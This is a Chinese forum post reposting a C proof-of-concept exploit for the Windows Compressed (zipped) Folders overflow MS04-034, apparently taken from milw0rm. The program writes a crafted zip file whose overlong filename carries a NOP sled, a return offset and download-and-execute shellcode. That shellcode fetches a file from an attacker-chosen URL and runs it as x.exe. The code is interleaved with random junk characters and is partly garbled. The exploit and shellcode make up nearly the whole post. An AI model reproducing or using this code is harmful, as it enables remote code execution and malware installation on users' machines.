- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
4 V' n( M8 X/ m: N' ?# a*, f4 z' o1 p3 J5 l$ C# L
* Tested under Windows XP SP0 Spanish/English8 L! P Z% ~$ ?
*( R; ]. s$ e* V8 w; s9 T
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html; ^7 y/ I' q+ [
* Exploit Date: 21/10/2004
( t( ]" E1 l- I9 w& V5 Q7 ?; T*9 e7 o& X& o# ]- T. l3 f
* Tarako - Haxorcitos.com 2004
# g& l, B! |3 O) R* ^1 n& u*
: x: A. A B/ K) J9 x$ O& D: y* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS": i) d( R: }6 m, x
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
; i3 C n4 z) l' j% l# s( H$ _* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
8 M# l2 \; s& Q: Z1 w*
8 v: G2 {; ~8 [& s/ J* Greetings t #haxorcitos, #dsr and #localhost @efnet1 {% u2 A+ b. @! r# U2 o3 _
*
3 v( G3 \( T/ i! I4 a+ O: v+ w*
9 {+ g$ a$ j, O4 O* How to get new offsets:
( |# d) D; q* u" U" x* 1) attach debugger (i.e ollydbg) to explorer.exe" R- o2 X& p6 ] A1 S3 ~ V
* 2) open the zip file as a folder and add or move some files to it0 b" l1 \1 q2 y8 G( A( i* O) A
* 3) search in the explorer.exe memory the shellcode and get the addresses8 g, `" \4 ~% \9 X3 z" Y9 f6 ~
*: M7 N- x' x9 }% Y9 M4 Q' S
*/- ^/ T2 S; [8 L w
) _8 \& ]/ l, ^; _#include <stdio.h>5 B0 \0 b p+ z1 m
#include <windows.h>0 W, a4 @) q4 K% L2 d
& y0 K7 M) Q: \& M8 i% A
#pragma pack(1)' J6 A$ h8 p3 p) p& ^! i
6 L8 C+ Q1 ]9 h& d- j
#define DATOS "Tarako-Haxorcitos.com"
. w$ F9 A7 D3 ?$ ]
7 b1 I' |5 d! a8 V+ O1 qtypedef struct {
+ \1 D1 b0 a9 L, {DWORD Signature; // PK.. 4 bytes (0x04034B50)
, C$ L' E* A; XWORD VersionNeeded;$ H* t8 |! H) W; W
WORD GeneralPurposeFlag; // para el data descriptor y demas
0 }+ m/ M5 [& w7 vWORD CompressionMethod;
' |# Q4 P( W4 N% NWORD ModFileTime;
# H) l4 r: B- x8 `7 {" C4 |+ I6 t. mWORD ModFileDate;
/ H, s( M, c& F) WDWORD Crc32;- U/ M- Z' s- }
DWORD CompressedSize;! C6 X5 b9 }! o* ` g0 O8 k
DWORD UncompressedSize;. M( s+ A* q6 i0 M/ Q& r
WORD FilenameLength;" j$ }7 o: s/ M5 J) I, ?9 v: d
WORD ExtraFieldLength;( _4 ^: o4 E( Y: X6 }
// filename (variable size) r5 V' O- i2 d$ t/ |
// extra field (variable size)
A7 M! K9 ] w3 {$ {}TOPHEADER;
8 y, e% G9 n, e% \0 W; G
' R2 J6 I* T) b# K3 W3 J8 ?
/ U6 `& j- g( E% k: ^5 x/ D1 k7 }- Atypedef struct { 5 l& f# L" b: Q! K: k: a
DWORD Signature; // PK.. 4 bytes (0x02014B50)' Y) {0 Z& x, [. |
WORD MadeVersion;4 Y1 C7 s$ N: s' M, p+ O$ W
WORD VersionNeeded;4 u1 F! Z3 V- j1 ~& j9 J1 c
WORD GeneralPurposeFlag; // para el data descriptor y demas
% m' e& ]8 o- L. T, e$ ^ o7 jWORD CompressionMethod;
. [: i0 {0 m. j' g0 `WORD ModFileTime;. q9 p( h$ v5 p4 s, D1 a: f+ i- D! T6 z
WORD ModFileDate;/ s; B8 O9 [- l8 x7 d7 t
DWORD Crc32;+ t& A2 Q2 F+ }- r0 K: ^, v
DWORD CompressedSize;
% v2 \1 H0 w! v0 R& [* eDWORD UncompressedSize;
) P& q( d5 }$ {# {3 x) bWORD FilenameLength;
! G$ @( S4 n. [- G( d# sWORD ExtraFieldLength;# }- R' |3 [/ C5 Q* d
WORD FileCommentLength;
# t {) x! t" ^7 a9 WWORD DiskNumberStart;2 v0 p) f6 `4 G3 W/ T; G1 _
WORD InternalFileAttributes;
# {% ^: e' P' I1 n: E7 ODWORD ExternalFileAttributes;
5 f9 B: A+ D2 n& NDWORD RelativeOffsetOfLocalHeader;7 Z5 o/ m7 E& {8 G2 Z' Y( k
// filename (variable size)/ d7 P) c& ~8 R
// extra field (variable size)4 W8 _+ ~# P8 c- @, p
// file comment (variable size)5 N5 L1 ^ `. y: _
}MIDDLEHEADER;
1 x. E" O0 C/ t$ o3 {2 d4 y
' e% a% D. h3 N6 z9 s/ Q8 Rtypedef struct {( N: `1 {0 G3 B; V
DWORD Signature; // PK.. 4 bytes (0x06054B50)- ^% I5 o" t3 |
WORD NumOfThisDisk;/ b; l7 E, `7 T
WORD NumDisckStartCentralDirectory;
" U6 U) f6 d6 @8 C& p+ fWORD NumEntriesCentralDirOnThisDisk;0 y- n3 ]9 y* d% m
WORD TotalNumEntriesCentralDir;8 b/ s/ Z1 `: |
DWORD SizeCentralDirectory;* e+ }% s' w* ?# z
DWORD OffsetCentraDirRespectStartDiskNum;
1 [" Y! X& X; r7 b2 `2 z; `WORD ZipCommentLength;7 p) G2 R$ J! p
// zipfile comment (variable size)
+ L; L F$ U: w, {8 d}BOTTOMHEADER;6 d2 m0 W& n. K" {8 v5 y1 n# I G
2 c4 f% J2 u' K) }" G/*
4 B7 }3 a7 r/ ^; w* r4 Z% F* download shellcode - RaiSe - raise@netsearch-ezine.com
" b! s" x2 h) d8 f! t*/- L, v, \& U1 q3 S3 ^6 o* w ]
char shellcode1[] =1 q' @5 f6 c3 N! `
"\xEB\x5D\x5F\x8B\xF7\x80\x3F"6 ~8 ~' v+ J5 Y0 l. V
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9": m2 y4 U" S9 F$ K7 V
"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08", k; \' h. Q- ^/ d$ t
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
+ i2 M) F/ t8 K"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"( B5 ^! A( d; }1 s/ f* K: N$ j
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"# H. o# ~5 m* w9 J! z9 |
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
1 W4 ]( h& ]8 m0 H3 n+ {"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
3 a. V6 f( N% E' s9 o"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
, C0 x/ H, u1 C& C/ N& o& ~ B) S"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"5 T$ X% g+ V1 b
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30") X# K" x4 c0 t( H/ x& l* a
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"; e) e8 k8 X j3 [; Q% P. @: p
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
! u9 f& ^# ^$ g% G$ W4 `- {) m9 X"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
6 ~- x5 s7 [$ G"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
) D7 F" B7 P' b& H+ f"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"
, L/ O1 [% b4 q$ A"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"
% l8 t5 ~- e+ K) q; V5 G"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C") S, e7 E3 ]8 Y! n# n4 S: P( J8 j
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
8 |2 B8 i8 g' j) A' d* `4 ]' v# Z"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
, g3 f9 b4 q) a$ K"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
$ {% z1 s8 d9 Z0 l" R% z) F. k% Y"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"
3 t4 [6 O% t* X"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"7 K- i+ w- E# t5 z( k0 G# Q: W
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B", i% }. [% ^5 F# y3 S
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
1 R- M1 w& W/ F- m! h3 j J; a"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
1 U6 H+ p1 C* i5 ?/ s"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
* O- M! I4 s+ ~$ M) y# O- C"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"& W- u) _7 s {+ i5 s9 D. R
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
' H7 E0 j% l& T; h4 ]; i0 ?3 W, \- d"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78": |2 \7 g" p! M% A- B
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"
* Z% j; c& s1 J8 H/ r' E"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"4 i/ n' D1 H4 y, _ @
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
0 D7 a% w1 b$ K3 U"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"3 | s* C) ^) {. @( a
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";$ Z& |2 ]! w6 F4 y2 K; W; {6 n
char shellcode2[] ="\x08\x01";3 j) ]8 l/ C/ `; ?& _1 P
. h6 T0 T5 d1 k; Y9 Dchar offset[]="\x41\x41\x41\x41";3 S5 |( _8 O$ Q% |4 y+ `
char jmpbelow[]= "\xeb\x06\x90\x90";
( C7 g6 I- t V4 I, s: Q+ `. b. O* w/ U" i! f
int main(int argc,char *argv[]) {8 l5 w* h; g8 y3 n
9 p0 w& N' P( j6 j9 j5 A
FILE *ZipFile;6 v: I0 k! y, n p( x6 U
TOPHEADER *Cabecera1;' Y8 R( D4 a7 n4 F A2 J
MIDDLEHEADER *Cabecera2;( V. K$ l* q$ g* |
BOTTOMHEADER *Cabecera3;
* _8 u5 y9 n% `: {7 Y5 p5 X0 p( W, U3 Z- A4 {7 X7 K+ x) b5 M
DWORD c;; ]; C' R6 q8 U8 u: R/ J
UINT i;
3 E; w' ]* C0 r/ Tchar *filename;% S& B& y4 Y3 L* y! C
char *url;
! c8 d; Q& h+ @- j+ _4 X, v" f: R4 | x0 Z
printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");& P3 B+ S& Q+ R) ~8 y
printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");: ?# {- S+ @, E1 x
; p+ t2 t. t9 ~5 B/ u
if (argc!=2) {" v& \9 @+ c5 y& z/ N
printf("\n\n Usage: %s <URL> \n",argv[0]);
6 h6 [, c; J, i9 |3 |3 d0 gexit(1);
. b0 H2 ] J7 ~- H5 G) \}
" a1 f+ E! c/ k1 l( w, T, {6 a4 ^/ a+ X2 Z& Z& b2 q
url=argv[1];
* S' M: ^/ p, ~2 c! Fprintf("\n * URL: %s",url);6 @! C5 T- S- d
! m( W1 _1 b' x6 X% E5 |- B8 C6 ^; {7 ?; U
if (!(ZipFile=fopen("prueba.zip","w+b"))) {
6 L7 T3 D* ]( E0 V! c. xprintf("\n [E] fopen()");, Y6 E, [8 ?8 x, N5 V& @3 G
exit(1);& [1 v* B; J6 _( [9 p- O5 g# x4 q
}6 s9 K4 J7 z# Q+ Z5 g& X
" H" T' N8 @ |7 O/ g& k! {* G
c=0x8000; // filename length8 M5 J" d* Z0 i' ?0 W' q# F
filename=(char*)malloc(sizeof(char)*c); ' B: { I" K! v: Y
memset(filename,0,sizeof(filename));' H2 [: s% c( t) s+ d. Y. V1 `
# w1 `7 U& l3 o1 k# j- T
for( i=0x0;i<c;i++) filename=(BYTE)0x90;0 D/ y% S/ N: ^1 s8 H- @
& Z' T' b+ I7 p$ h2 i
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
4 b. w; Y, c) X0 Amemcpy(filename+0x1818,offset,strlen(offset));
- U3 i5 ^- M6 C3 }( J& ~7 v) N0 D! k" D, _' M- _6 J# m7 J+ G( }
memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);- q$ ~. r1 [& l- H
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));
/ a( U, M( p' L/ ]memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);, r5 l$ M+ d: s6 m. o. r5 ?# N. M
5 R) R, n4 `6 D& t. f
memcpy(filename+(c-4),".txt",4);
' [1 a' v4 I% Q+ {* U) `3 X% k6 N* v( ~2 x3 S; I! c# E2 e. {
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));8 B" B( H4 v! H6 ]. ?! l9 Q
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
8 b, s! U5 a( U1 D1 U& M7 n1 v& |. ACabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
% N9 A1 u( V p- @: gmemset(Cabecera1,0,sizeof(TOPHEADER));
9 o4 F; k& T' o; t$ @memset(Cabecera2,0,sizeof(MIDDLEHEADER));
* V. j/ H" u2 S: m2 Bmemset(Cabecera3,0,sizeof(BOTTOMHEADER));
/ B3 P* N% }6 m5 |
, F6 Y6 {9 W& F+ w& J7 |4 ]///////////////////////////////////////////////////////////////////. x7 D, T* S- S, K) K4 Z
// TOPHEADER
7 I! G9 B7 h! a9 O6 ?) j/ P///////////////////////////////////////////////////////////////////
8 L- P: O; H# n% ?% W$ P8 t' hCabecera1->Signature=0x04034B50; // DWORD
$ c4 s2 I( {: F9 a6 V4 ~- {5 lCabecera1->VersionNeeded=0x000A; // WORD6 N7 [# R' z& {6 `: u8 G5 ^ N
Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
# i. Z& ?2 Z. X+ f2 gCabecera1->CompressionMethod=0x0000; // WORD; x) L2 ?$ j' l. h) G1 G( ]: ]
Cabecera1->ModFileTime=0x1362; // WORD
' a6 u1 R1 ^; o: [Cabecera1->ModFileDate=0x3154; // WORD9 g1 U7 l2 S& Y
Cabecera1->Crc32=0x85B36639; // DWORD
1 k' Q9 {# y3 i$ ]7 fCabecera1->CompressedSize=0x00000015; // DWORD6 L4 G( n8 O9 |+ v
Cabecera1->UncompressedSize=0x00000015; // DWORD }" j; f Z/ _0 f! a; p. J
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);) F0 v. [ o7 f
Cabecera1->ExtraFieldLength=0x0000; // WORD6 ?' w" d& s2 n: B+ B$ R) e9 y
///////////////////////////////////////////////////////////////////" k% n: Q. J+ l( a( v
& j3 d- P) {8 W% D2 L///////////////////////////////////////////////////////////////////
6 L& F, W a- X+ g$ K1 c// MIDDLEHEADER
% @4 J* o$ i6 k///////////////////////////////////////////////////////////////////# `- n2 d9 P- y+ {" V& q2 u' b
Cabecera2->Signature=0x02014B50; // DWORD8 ^# {% M& i2 K: Z) P
Cabecera2->MadeVersion=0x0014; // WORD; y% E" i/ q* s$ {1 C% c
Cabecera2->VersionNeeded=0x000A; // WORD* v- M' Q( a3 A! S# r
Cabecera2->GeneralPurposeFlag=0x0002; // WORD# F6 r" A) m& a& w( I) _/ R% j, {3 O
Cabecera2->CompressionMethod=0x0000; // WORD% d: Z- J! _+ P3 X
Cabecera2->ModFileTime=0x1362; // WORD
" E z, [' p- }0 y _6 YCabecera2->ModFileDate=0x3154; // WORD
9 W/ n2 m/ O- R0 ICabecera2->Crc32=0x85B36639; // DWORD
) a# M; y% E7 I- HCabecera2->CompressedSize=0x00000015; // DWORD+ D- F/ F( \8 k8 A c7 g9 @
Cabecera2->UncompressedSize=0x00000015; // DWORD- h/ V! _/ P- M4 j4 t0 ~. Z6 X8 P0 j
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);# O7 E! X8 j' T$ H, ^
Cabecera2->ExtraFieldLength=0x0000; // WORD
* l8 P6 J" r; cCabecera2->FileCommentLength=0x0000; // WORD
) K9 F: B8 Z/ OCabecera2->DiskNumberStart=0x0000; // WORD+ o- Y/ M3 y7 U9 @5 _; |" _2 r
Cabecera2->InternalFileAttributes=0x0001; // WORD
" i! {& c' E! h, mCabecera2->ExternalFileAttributes=0x00000020; // DWORD
# M1 h; _) i4 c# x$ gCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
% S3 Y# H6 V( E///////////////////////////////////////////////////////////////////! `' y3 a1 @) f1 o8 H
+ k1 _3 v! t, |: G. D9 D3 @
///////////////////////////////////////////////////////////////////0 _2 l7 C6 m6 l4 P
// BOTTOMHEADER) A4 F; I d0 t: d6 C5 @2 R% I
///////////////////////////////////////////////////////////////////3 v2 K7 Q5 p2 j0 C% W1 U9 W
Cabecera3->Signature=0x06054B50; // DWORD& `" C$ X4 } e2 Y0 A$ n5 _: u
Cabecera3->NumOfThisDisk=0x0000; // WORD
7 A; E/ _/ R! x3 j' R* |8 L6 `/ pCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD& T5 C( s- }! a/ D& ? c3 k) |# H+ }
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD2 g9 Y" u( b4 b+ j
Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD! x! ^0 j0 k. `/ x2 b
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD
$ r& z: J+ e) l( D- o& h6 qCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 5 Y7 T3 h1 A" b# u6 B& M) w
Cabecera3->ZipCommentLength=0x0000; // WORD0 b2 z0 w6 l" _/ u: n$ A- ~
///////////////////////////////////////////////////////////////////
, e8 U3 T& X( ^" U
0 t0 h# J, ?* u1 A" w4 Ufwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);$ |# G( h5 e% }# E% p% k
& g. u% B" f% R
fwrite(filename, c, 1,ZipFile);
1 l* ^6 a, U6 b8 j3 Z8 qfwrite(DATOS,strlen(DATOS),1,ZipFile);2 i$ c" v' [; l, _ g
3 D b# ]* W4 R# \fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);8 y3 s% M" F$ U% V! U1 h& [
fwrite(filename, c, 1,ZipFile); ) E9 j7 L6 _6 S4 `9 C
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);4 w6 D% }5 v+ ]! x( C X& G
$ A' w4 g. z8 e: s _fclose(ZipFile);4 S A5 X; l& S4 e! G/ [
printf("\n * prueba.zip created\n");; c+ D7 _" {% F/ f( a
return 1;
; F4 }: R2 r" P2 r/ y6 ^0 d}//downloaded from milw0rm.com
$ m8 c& t, K+ q* c |
zan
|